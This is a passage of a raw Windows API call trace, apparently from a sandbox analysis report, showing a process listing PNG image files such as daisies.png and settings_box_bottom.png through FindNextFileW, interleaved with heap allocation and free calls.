(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.137] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba036d48, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba036d48, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc082453c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5323, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0090.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.137] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.137] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2998 [0090.138] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13215b0 [0090.138] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.139] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba11b582, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba11b582, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc084a69c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 1 [0090.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.139] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f29b8 [0090.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13216b8 [0090.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.140] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1416e1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1416e1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc084a69c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6936, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 1 [0090.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f29d8 [0090.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1321be0 [0090.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.142] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba05cea7, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba05cea7, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08707fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x7210, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 1 [0090.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.142] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f29f8 [0090.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1321ce8 [0090.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.144] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba083006, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba083006, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08707fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x5f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 1 [0090.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.144] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.144] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2a18 [0090.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1321df0 [0090.145] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.145] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba083006, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba083006, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08707fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 1 [0090.145] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.146] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.146] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2a38 [0090.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1321ef8 [0090.147] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.147] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0a9165, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0a9165, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc089695c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x61bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 1 [0090.147] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.148] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2a58 [0090.148] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1322000 [0090.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.149] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0cf2c4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0cf2c4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08bcabc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 1 [0090.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.149] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.149] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.150] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2a78 [0090.150] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1322108 [0090.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.151] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0cf2c4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0cf2c4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08e2c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x493b, dwReserved0=0x0, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 1 [0090.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.151] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.151] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2a98 [0090.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1322210 [0090.152] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.152] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba0f5423, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba0f5423, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc08e2c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x52a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 1 [0090.152] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.153] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2ab8 [0090.153] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1322318 [0090.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x91c0) returned 0x1333820 [0090.154] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba11b582, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba11b582, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0908d7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x531b, dwReserved0=0x0, dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 1 [0090.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.154] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.154] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.155] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2ad8 [0090.155] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1322420 [0090.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.156] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1b3afe, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1b3afe, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc0908d7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x46a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0090.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.156] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.156] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2af8 [0090.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1322528 [0090.157] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.157] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba1416e1, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba1416e1, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xa3d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="daisies.png", cAlternateFileName="")) returned 1 [0090.157] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.158] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.158] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2b18 [0090.159] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133ca00 [0090.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.161] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba167840, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba167840, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="glow.png", cAlternateFileName="")) returned 1 [0090.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.161] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.161] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2b38 [0090.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133cb08 [0090.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.162] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba24c07a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba24c07a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd75, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_down.png", cAlternateFileName="")) returned 1 [0090.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2b58 [0090.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133cc10 [0090.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.164] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba225f1b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba225f1b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc092eedc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_over.png", cAlternateFileName="")) returned 1 [0090.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2b78 [0090.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133cd18 [0090.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.166] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2721d9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2721d9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc095503c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_up.png", cAlternateFileName="")) returned 1 [0090.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2b98 [0090.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133ce20 [0090.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.167] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2be497, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2be497, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc095503c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_bottom.png", cAlternateFileName="")) returned 1 [0090.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2bb8 [0090.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133cf28 [0090.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.170] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2e45f6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2e45f6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_left.png", cAlternateFileName="")) returned 1 [0090.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2bd8 [0090.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133d030 [0090.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.172] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2e45f6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2e45f6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc097b19c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_right.png", cAlternateFileName="")) returned 1 [0090.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.172] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2bf8 [0090.173] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x133d138 [0090.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 